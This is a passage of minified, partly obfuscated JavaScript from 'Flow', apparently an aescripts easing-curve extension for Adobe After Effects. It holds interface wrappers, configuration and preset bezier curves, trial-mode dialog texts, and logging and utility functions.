    "string" == typeof A && window.__adobe_cep__.invokeAsync("setContextMenuByJSON", A, e)
}, CSInterface.prototype.updateContextMenuItem = function(A, e, t) {
    var i = new ContextMenuItemStatus(A, e, t);
    ret = window.__adobe_cep__.invokeSync("updateContextMenuItem", JSON.stringify(i))
}, CSInterface.prototype.isWindowVisible = function() {
    return window.__adobe_cep__.invokeSync("isWindowVisible", "")
}, CSInterface.prototype.resizeContent = function(A, e) {
    window.__adobe_cep__.resizeContent(A, e)
}, CSInterface.prototype.registerInvalidCertificateCallback = function(A) {
    return window.__adobe_cep__.registerInvalidCertificateCallback(A)
}, CSInterface.prototype.registerKeyEventsInterest = function(A) {
    return window.__adobe_cep__.registerKeyEventsInterest(A)
}, CSInterface.prototype.setWindowTitle = function(A) {
    window.__adobe_cep__.invokeSync("setWindowTitle", A)
}, CSInterface.prototype.getWindowTitle = function() {
    return window.__adobe_cep__.invokeSync("getWindowTitle", "")
};
var npath = require("path"),
    Config = {};
Config[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 40 - t)
    }).join("")
}(33, 171, 183) + 22..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 22 - t)
    }).join("")
}(12, 135)] = "Flow", Config[31..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 35 - t)
    }).join("")
}(9, 161, 159, 145) + 18..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 31 - t)
    }).join("")
}(38, 180) + 23..toString(36).toLowerCase()] = "1.3.0", Config[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 30 - t)
    }).join("")
}(32, 162) + 14..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 23 - t)
    }).join("")
}(53, 174) + 30..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 18 - t)
    }).join("")
}(6, 127)] = eval("false"), Config[28096..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 56 - t)
    }).join("")
}(28, 193, 170, 206, 182, 161) + 35..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 19 - t)
    }).join("")
}(28, 148)] = Config[13..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 4 - t)
    }).join("")
}(15, 120) + 11..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 14 - t)
    }).join("")
}(42, 160, 173)] ? 5e7 : 2e6, Config[17882998..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 7 - t)
    }).join("")
}(27, 150, 105, 152, 135, 140, 150) + 13..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 29 - t)
    }).join("")
}(45, 175)] = Config[482..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 20 - t)
    }).join("")
}(39, 177, 157) + 16..toString(36).toLowerCase()] ? "0" : function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 5 - t)
    }).join("")
}(52, 142) + 17..toString(36).toLowerCase().split("").map(function(A) {
    return String.fromCharCode(A.charCodeAt() + -39)
}).join("") + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 40 - t)
    }).join("")
}(57, 157, 152, 148, 150, 149, 142) + 40..toString(36).toLowerCase() + 29..toString(36).toLowerCase().split("").map(function(A) {
    return String.fromCharCode(A.charCodeAt() + -71)
}).join("") + 8..toString(36).toLowerCase(), Config[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 47 - t)
    }).join("")
}(16, 171) + 18..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 47 - t)
    }).join("")
}(14, 163, 160) + 23..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 40 - t)
    }).join("")
}(57, 199, 212)] = "", Config[13..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 29 - t)
    }).join("")
}(20, 150) + 550..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 11 - t)
    }).join("")
}(20, 149, 149, 140, 148)] = {
    autoApplyCurve: !1,
    readKeyValuesUsesEaseDirection: !0,
    showLastCurve: !0,
    showTooltips: !0,
    showAlerts: !0,
    libraryItemSize: 33,
    displayLibScalers: !0,
    displayLibIORow: !0,
    alwaysCBForExpressions: !1,
    alwaysOverwriteExpression: !1,
    userDebug: !1,
    currentCoordinates: [.42, 0, .58, 1],
    currentLibrary: "default",
    currentSortDirection: "sortByDate",
    currentSelectedThumbName: "ease",
    flowTheme: "Flow",
    easeDirection: "Both",
    applyAs: "Keyframes",
    isPortrait: !1,
    graphHidden: !1
};
var Globals = {};
Globals[780..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 42 - t)
    }).join("")
}(31, 172, 154, 176) + 1061..toString(36).toLowerCase()] = npath.normalize(npath.join(process.env.APPDATA || process.env.HOME + "/Library/Application Support", "aescripts", "flow", "log.txt")), Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 6 - t)
    }).join("")
}(56, 168, 170) + 424..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function(A) {
    return String.fromCharCode(A.charCodeAt() + -39)
}).join("") + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 6 - t)
    }).join("")
}(21, 133, 144, 124)] = npath.normalize(npath.join(process.env.APPDATA || process.env.HOME + "/Library/Application Support", "aescripts", "flow", "libraries")), Globals[1717958831..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 47 - t)
    }).join("")
}(10, 160) + 28..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 20 - t)
    }).join("")
}(10, 137, 148, 128, 110)] = npath.normalize(npath.join(process.env.APPDATA || process.env.HOME + "/Library/Application Support", "aescripts", "settings", "com.aescripts.settings_Flow.json")), Globals[558..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 1 - t)
    }).join("")
}(32, 147) + 1037..toString(36).toLowerCase() + 34..toString(36).toLowerCase().split("").map(function(A) {
    return String.fromCharCode(A.charCodeAt() + -39)
}).join("") + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 51 - t)
    }).join("")
}(27, 195) + 23..toString(36).toLowerCase()] = !0, Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 1 - t)
    }).join("")
}(8, 126) + 1022..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 27 - t)
    }).join("")
}(15, 119, 156) + 659..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 19 - t)
    }).join("")
}(18, 148, 135, 115) + 14..toString(36).toLowerCase()] = "User Curves", Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 29 - t)
    }).join("")
}(23, 167, 157, 169, 168, 170, 151) + 29..toString(36).toLowerCase() + 28..toString(36).toLowerCase().split("").map(function(A) {
    return String.fromCharCode(A.charCodeAt() + -39)
}).join("") + 18414677..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
    return String.fromCharCode(A.charCodeAt() + -39)
}).join("") + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 31 - t)
    }).join("")
}(50, 191, 178) + 14..toString(36).toLowerCase()] = "landscape", Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 13 - t)
    }).join("")
}(10, 139) + 35650..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 39 - t)
    }).join("")
}(58, 206, 209, 204, 174, 205) + 29..toString(36).toLowerCase()] = 2, Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 48 - t)
    }).join("")
}(49, 200, 213, 214) + 27..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 11 - t)
    }).join("")
}(54, 185, 165, 167, 133) + 16..toString(36).toLowerCase()] = !1, Globals[1375582..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 39 - t)
    }).join("")
}(56, 196) + 19..toString(36).toLowerCase().split("").map(function(A) {
    return String.fromCharCode(A.charCodeAt() + -39)
}).join("") + 31884..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 62 - t)
    }).join("")
}(61, 208, 237) + 18..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 63 - t)
    }).join("")
}(25, 190, 197) + 27..toString(36).toLowerCase()] = void 0, Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 62 - t)
    }).join("")
}(43, 207, 202) + 1033..toString(36).toLowerCase()] = void 0, Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 21 - t)
    }).join("")
}(38, 157) + 19422..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 1 - t)
    }).join("")
}(32, 134) + 27..toString(36).toLowerCase()] = void 0, Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 34 - t)
    }).join("")
}(21, 174, 160, 163, 179, 157, 153) + 19..toString(36).toLowerCase().split("").map(function(A) {
    return String.fromCharCode(A.charCodeAt() + -39)
}).join("") + 10..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 6 - t)
    }).join("")
}(44, 168, 149, 169, 160)] = void 0, Globals[993773..toString(36).toLowerCase() + 18..toString(36).toLowerCase().split("").map(function(A) {
    return String.fromCharCode(A.charCodeAt() + -39)
}).join("") + 539..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 25 - t)
    }).join("")
}(51, 177, 146, 192, 178, 181) + 23..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 24 - t)
    }).join("")
}(10, 132, 152) + 28..toString(36).toLowerCase()] = void 0, Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 47 - t)
    }).join("")
}(34, 200, 186, 189, 205, 183, 179) + 28..toString(36).toLowerCase().split("").map(function(A) {
    return String.fromCharCode(A.charCodeAt() + -39)
}).join("") + 855046..toString(36).toLowerCase() + function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 34 - t)
    }).join("")
}(21, 169) + 34..toString(36).toLowerCase()] = void 0, Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 45 - t)
    }).join("")
}(49, 174) + 1..toString(36).toLowerCase()] = void 0, Globals[function() {
    var A = Array.prototype.slice.call(arguments),
        e = A.shift();
    return A.reverse().map(function(A, t) {
        return String.fromCharCode(A - e - 33 - t)
    }).join("")
}(57, 170) + 2..toString(36).toLowerCase()] = void 0, Globals.libraryItemLimits = {
    step: 3,
    min: 20,
    max: 100
}, Globals.graphStyle = {
    Flow: {
        graph: {
            handleColor: "#fdbf28",
            handleThickness: .01,
            bezierColor: "#f5f5f5",
            bezierThickness: .015
        },
        lastGraph: {
            handleColor: "#000000",
            bezierColor: "#424242",
            handleThickness: 0,
            bezierThickness: .01
        },
        thumbnailStyleSelected: {
            handleColor: "white",
            bezierColor: "white",
            handleThickness: .03,
            bezierThickness: .04
        }
    },
    AE: {
        graph: {
            handleColor: "#ffee00",
            handleThickness: .01,
            bezierColor: "#c2c2c2",
            bezierThickness: .015
        },
        lastGraph: {
            handleColor: "#000000",
            bezierColor: "#424242",
            handleThickness: 0,
            bezierThickness: .01
        },
        thumbnailStyleSelected: {
            handleColor: "#1A1A1A",
            bezierColor: "#1A1A1A",
            handleThickness: .04,
            bezierThickness: .05
        }
    }
}, Globals.thumbnailStyle = {
    handleColor: "white",
    bezierColor: "white",
    handleThickness: .03,
    bezierThickness: .04
}, Globals.basePanelSizes = {
    baseCanvas: 2400,
    baseTopOffset: -1102,
    baseWidth: 196,
    landscapeDividerPosition: 200,
    portraitDividerPosition: 287
}, Globals.isBeingDragged = !1, Globals.dividerDraggable = !0, Globals.dragTriggers = {
    landscapeGraph: function() {
        return Math.min(165, 33 * jQuery("#app").width() / 100)
    },
    landscapeLibrary: 45,
    portraitGraph: function() {
        return Math.min(185, 30 * jQuery("#app").height() / 100)
    },
    portraitLibrary: 110
}, Globals.predefined = [{
    name: "ease",
    curve: [.42, 0, .58, 1]
}, {
    name: "easeIn",
    curve: [.42, 0, 1, 1]
}, {
    name: "easeOut",
    curve: [0, 0, .58, 1]
}, {
    name: "quad",
    curve: [.48, .04, .52, .96]
}, {
    name: "quadIn",
    curve: [.26, 0, .6, .2]
}, {
    name: "quadOut",
    curve: [.4, .8, .74, 1]
}, {
    name: "cubic",
    curve: [.66, 0, .34, 1]
}, {
    name: "cubicIn",
    curve: [.4, 0, .68, .06]
}, {
    name: "cubicOut",
    curve: [.32, .94, .6, 1]
}, {
    name: "quart",
    curve: [.76, 0, .24, 1]
}, {
    name: "quartIn",
    curve: [.52, 0, .74, 0]
}, {
    name: "quartOut",
    curve: [.26, 1, .48, 1]
}, {
    name: "quint",
    curve: [.84, 0, .16, 1]
}, {
    name: "quintIn",
    curve: [.64, 0, .78, 0]
}, {
    name: "quintOut",
    curve: [.22, 1, .36, 1]
}, {
    name: "expo",
    curve: [.9, 0, .1, 1]
}, {
    name: "expoIn",
    curve: [.66, 0, .86, 0]
}, {
    name: "expoOut",
    curve: [.14, 1, .34, 1]
}, {
    name: "circ",
    curve: [.88, .14, .12, .86]
}, {
    name: "circIn",
    curve: [.54, 0, 1, .44]
}, {
    name: "circOut",
    curve: [0, .56, .46, 1]
}, {
    name: "back",
    curve: [.68, -.55, .265, 1.55]
}, {
    name: "backIn",
    curve: [.6, -.28, .735, .045]
}, {
    name: "backOut",
    curve: [.175, .885, .32, 1.275]
}, {
    name: "linear",
    curve: [0, 0, 1, 1]
}];
var SwalConfig = {
        import: {
            trialLimitation: {
                title: "Trial Limit",
                type: "warning",
                text: "Library import is disabled in trial mode. Buy Flow to unlock restrictions.",
                allowEscapeKey: !0,
                allowOutsideClick: !0,
                showCancelButton: !0,
                confirmButtonColor: "#eb590c",
                confirmButtonText: "Buy",
                closeOnConfirm: !1
            },
            confirm: {
                title: "",
                type: "info",
                allowEscapeKey: !0,
                showCancelButton: !0,
                confirmButtonColor: "#126898",
                confirmButtonText: "Append",
                cancelButtonText: "Replace",
                closeOnConfirm: !1,
                closeOnCancel: !1
            },
            success: {
                title: "Great stuff!",
                type: "success",
                timer: 2e3
            },
            successAppend: {
                type: "success",
                text: "Now go and have some fun!",
                timer: 2e3
            },
            successOverwrite: {
                title: "Library wiped out!",
                type: "success",
                timer: 2e3
            },
            invalidData: {
                title: "Sorry mate!",
                type: "error",
                text: "This doesn\u2019t look like valid library data, so I can\u2019t do much with it :(",
                confirmButtonText: "Crap"
            },
            emptyData: {
                title: "Sorry mate!",
                type: "error",
                text: "There's literally nothing to import in your selected file.",
                confirmButtonText: "Got it."
            },
            error: {
                title: "That sucks!",
                type: "error",
                confirmButtonText: "Yeah!"
            }
        },
        export: {
            trialLimitation: {
                title: "Trial Limit",
                type: "warning",
                text: "Library export is disabled in trial mode. Buy Flow to unlock restrictions.",
                allowEscapeKey: !0,
                allowOutsideClick: !0,
                showCancelButton: !0,
                confirmButtonColor: "#eb590c",
                confirmButtonText: "Buy",
                closeOnConfirm: !1
            },
            emptyData: {
                title: "Sorry mate!",
                type: "error",
                text: "There are literally zero curves to export.",
                confirmButtonText: "Got it."
            },
            success: {
                title: "Good job!",
                type: "success",
                timer: 2e3
            },
            error: {
                title: "Sorry mate!",
                type: "error",
                confirmButtonText: "Crap!"
            }
        },
        save: {
            trialLimitation: {
                title: "Trial Limit",
                type: "warning",
                allowEscapeKey: !0,
                allowOutsideClick: !0,
                showCancelButton: !0,
                confirmButtonColor: "#eb590c",
                confirmButtonText: "Buy",
                closeOnConfirm: !1
            },
            confirm: {
                title: "Save Preset",
                type: "input",
                showCancelButton: !0,
                closeOnConfirm: !1,
                animation: "slide-from-top",
                inputPlaceholder: "Name this preset"
            },
            success: {
                title: "Nice!",
                type: "success",
                timer: 2e3
            }
        },
        clear: {
            confirm: {
                title: "Clear library?",
                type: "warning",
                text: "This will clear out your user library. Are you sure?",
                allowEscapeKey: !0,
                allowOutsideClick: !0,
                showCancelButton: !0,
                confirmButtonColor: "#eb590c",
                confirmButtonText: "OK",
                closeOnConfirm: !1
            },
            success: {
                title: "Done!",
                type: "success",
                text: "Library has been cleared.",
                timer: 2e3
            }
        },
        editValues: {
            title: "Enter Values",
            text: 'Format "x1, y1, x2, y2"',
            type: "input",
            allowEscapeKey: !0,
            allowOutsideClick: !0,
            showCancelButton: !0,
            closeOnConfirm: !1,
            animation: "slide-from-top",
            inputPlaceholder: "x1, y1, x2, y2"
        },
        rename: {
            title: "Rename Preset",
            type: "input",
            showCancelButton: !0,
            closeOnConfirm: !1,
            animation: "slide-from-top"
        },
        delete: {
            confirm: {
                title: "Delete preset?",
                type: "warning",
                text: "This can't be undone!",
                allowEscapeKey: !0,
                allowOutsideClick: !0,
                showCancelButton: !0,
                confirmButtonColor: "#eb590c",
                confirmButtonText: "OK",
                closeOnConfirm: !1
            },
            success: {
                title: "Deleted!",
                type: "success",
                text: "Preset has been deleted.",
                timer: 2e3
            }
        }
    },
    Util = function() {
        function A(A) {
            for (var e = "", t = 0; t < A.length; t++) {
                var i = "?";
                A.charCodeAt(t) <= 127 && (i = A.charAt(t)), e += i
            }
            return e
        }

        function e() {
            var A = new Date,
                e = A.getFullYear(),
                t = A.getMonth() + 1,
                i = A.getDate();
            return t = t < 10 ? "0" + t : t, i = i < 10 ? "0" + i : i, e.toString() + t.toString() + i.toString()
        }

        function t() {
            var A = new Date,
                e = A.getHours(),
                t = A.getMinutes(),
                i = A.getSeconds();
            return t = t < 10 ? "0" + t : t, i = i < 10 ? "0" + i : i, e.toString() + t.toString() + i.toString()
        }

        function i(A) {
            return "" !== window.cep.fs.stat(A).data.mtime
        }

        function r(A) {
            i(A) || window.cep.fs.makedir(A)
        }

        function o(A, e) {
            r(f.dirname(A)), window.cep.fs.writeFile(A, e)
        }

        function n(A) {
            var e = window.cep.fs.readFile(A).data;
            return "" !== e ? JSON.parse(e) : e
        }

        function s(A) {
            if (!i(A)) {
                return r(f.dirname(A)), o(A, JSON.stringify({})), {}
            }
            return n(A)
        }

        function a(A, e) {
            if (A === e) return !0;
            if (null === A || null === e) return !1;
            if (A.length !== e.length) return !1;
            for (var t = 0; t < A.length; ++t)
                if (A[t] !== e[t]) return !1;
            return !0
        }

        function I(A, e, t, i, r) {
            return c(l(A, e, t, i, r), i, r)
        }

        function l(A, e, t, i, r) {
            return (A - e) * (r - i) / (t - e) + i
        }

        function c(A, e, t) {
            return Math.min(Math.max(A, e), t)
        }

        function B(A) {
            Log.trace("\u2192 Util.checkInputValue: " + String(A));
            for (var e = 0, t = A.length; e < t; e++)
                if ("." === A[e][0] && (A[e] = "0" + A[e]), isNaN(parseInt(A[e]))) return Log.trace("\u2190 Util.checkInputValue: false"), !1;
            return Log.trace("\u2190 Util.checkInputValue: true"), !0
        }

        function g(A) {
            return A.replace(/[!"#$%&'()*+,.\/:;<=>?@\[\\\]^`{|}~]/g, "\\$&")
        }

        function h(A) {
            Log.trace("\u2192 Util.copyToClipboard: " + String(A));
            var e = document.createElement("input");
            document.body.appendChild(e), e.setAttribute("id", "dummy_id"), document.getElementById("dummy_id").value = A, e.select(), document.execCommand("copy"), document.body.removeChild(e), Log.trace("\u2190 Util.copyToClipboard")
        }

        function E(A) {
            (new CSInterface).openURLInDefaultBrowser(A)
        }

        function u(A) {
            (new CSInterface).evalScript("Folder('" + require("slash")(A).split("'").join("\\'") + "').execute()")
        }

        function Q(A) {
            return void 0 === A || null === A
        }

        function d(A, e) {
            return Q(A) ? e : A
        }
        var f = require("path");
        return {
            cleanString: A,
            buildDateString: e,
            buildTimeString: t,
            pathExists: i,
            writeToFile: o,
            loadFromFile: s,
            arraysEqual: a,
            linearMapWithClamp: I,
            linearMap: l,
            clamp: c,
            checkInputValue: B,
            jQuerySelectorEscape: g,
            copyToClipboard: h,
            openURL: E,
            revealFolder: u,
            isNullOrUndefined: Q,
            setDefault: d
        }
    }(),
    Log = function() {
        function A() {
            var A = "";
            return (new Error).stack.split("\n").forEach(function(e) {
                "Error" === e || e.indexOf("at buildSpacing") > -1 || e.indexOf("at _log") > -1 || e.indexOf("at Object.trace") > -1 || e.indexOf("at file://") > -1 || e.indexOf("at Array.forEach") > -1 || e.indexOf("timers.js") > -1 || e.indexOf("at dispatch") > -1 || e.indexOf("at r.handle") > -1 || e.indexOf("at Timeout._onTimeout") > -1 || (A += "  ")
            }), A
        }

        function e(e, t) {
            if (!(e < B)) {
                var i = Util.buildDateString() + "." + Util.buildTimeString(),
                    r = [g[e], i, A() + t].join(" :: ");
                console.log(r);
                var o = window.cep.fs.readFile(c);
                return o.data.length > Config.logMaxSize && (o = ""), Util.writeToFile(c, o.data + "\n" + r), r
            }
        }

        function t(A) {
            return B = A
        }

        function i() {
            Util.revealFolder(c)
        }

        function r() {
            t(Config[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 23 - t)
                }).join("")
            }(56, 181, 179) + 426..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 13 - t)
                }).join("")
            }(51, 167)] || Globals[39902..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 35 - t)
                }).join("")
            }(0, 104, 149) + 14..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 30 - t)
                }).join("")
            }(24, 152) + 30..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 23 - t)
                }).join("")
            }(23, 149)] ? 0 : 2)
        }

        function o(A) {
            return e(0, A)
        }

        function n(A) {
            return e(1, A)
        }

        function s(A) {
            return e(2, A)
        }

        function a(A) {
            return e(3, A)
        }

        function I(A) {
            return e(4, A)
        }

        function l(A) {
            return e(5, A)
        }
        var c = Globals.logPath;
        Util.pathExists(c) || function() {
            window.cep.fs.writeFile(c, "")
        }();
        var B = 0,
            g = {
                0: "debug",
                1: "trace",
                2: "info",
                3: "warning",
                4: "error",
                5: "fatal"
            };
        return {
            setLevel: t,
            reveal: i,
            debug: o,
            initLevel: r,
            trace: n,
            info: s,
            warning: a,
            error: I,
            fatal: l
        }
    }(),
    AE = function() {
        function A(A) {
            Log.trace("\u2192 AE.applyCurve");
            var e;
            void 0 !== A && (A.shiftKey ? e = "In" : A.altKey ? e = "Out" : (A.metaKey || A.ctrlKey) && (e = "Both")), AE.sendValuesToAe(void 0, e), Log.trace("\u2190 AE.applyCurve")
        }

        function e(A, e) {
            Log.trace("\u2192 AE.sendValuesToAe: " + String(A) + ", " + String(e)), void 0 === A && (A = Prefs.get("applyAs")), void 0 === e && (e = Prefs.get("easeDirection"));
            var t = Prefs.get("alwaysCBForExpressions"),
                i = Prefs.get("alwaysOverwriteExpression"),
                r = Prefs.get("showAlerts"),
                o = Globals.bezier.coordinates.toString().split(","),
                n = new CSInterface,
                s = "FlowObj.modifyKeyframeVelocity(" + o + ",'" + e + "','" + A + "'," + t + ", " + i + ", " + r + ")";
            Log.trace(s), n.evalScript(s), Core.sendAnalytics(), Log.trace("\u2190 AE.sendValuesToAe")
        }

        function t() {
            Log.trace("\u2192 AE.readKeyValues");
            var A = Prefs.get("easeDirection"),
                e = Prefs.get("readKeyValuesUsesEaseDirection"),
                t = Globals.bezier.coordinates.toString().split(",");
            GraphInteraction.updateLastGraph(Globals.bezier.coordinates), (new CSInterface).evalScript("FlowObj.readValuesFromTimeline(" + e + ",'" + A + "', " + t + ")", function(A) {
                if ("null" === A || "undefined" === A) return void Log.trace("\u2190 AE.readKeyValues: error from jsx");
                var e = A.split(","),
                    t = jQuery(".graph").width();
                e[0] = Util.linearMap(e[0], 0, 1, 0, t), e[1] = Util.linearMap(e[1], 0, 1, t, 0), e[2] = Util.linearMap(e[2], 0, 1, 0, t), e[3] = Util.linearMap(e[3], 0, 1, t, 0), Globals.P1.style.prop({
                    left: e[0] + "px",
                    top: e[1] + "px"
                }), Globals.P2.style.prop({
                    left: e[2] + "px",
                    top: e[3] + "px"
                }), GraphInteraction.updateGraph(), Globals.bezierLibrary.deselectThumbnail(), Log.trace("\u2190 AE.readKeyValues: " + String(e))
            }), Globals.aesp[383..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 10 - t)
                }).join("")
            }(57, 176, 164) + 1253..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 15 - t)
                }).join("")
            }(62, 182) + 460..toString(36).toLowerCase()].event("Read Key Values")
        }
        return {
            applyCurve: A,
            sendValuesToAe: e,
            readKeyValues: t
        }
    }(),
    Core = function() {
        function A() {
            function A(A) {
                var e = {
                    menu: []
                };
                return A.forEach(function(t, i) {
                    t.forEach(function(A) {
                        e.menu.push(A)
                    }), i < A.length - 1 && e.menu.push({
                        label: "---"
                    })
                }), JSON.stringify(e)
            }

            function e() {
                var A = new CSInterface,
                    e = jQuery(".libButton:hover"),
                    t = e.length > 0;
                A.updateContextMenuItem("editItem", t, void 0), A.updateContextMenuItem("renameItem", t, void 0), A.updateContextMenuItem("removeItem", t, void 0)
            }

            function t(A) {
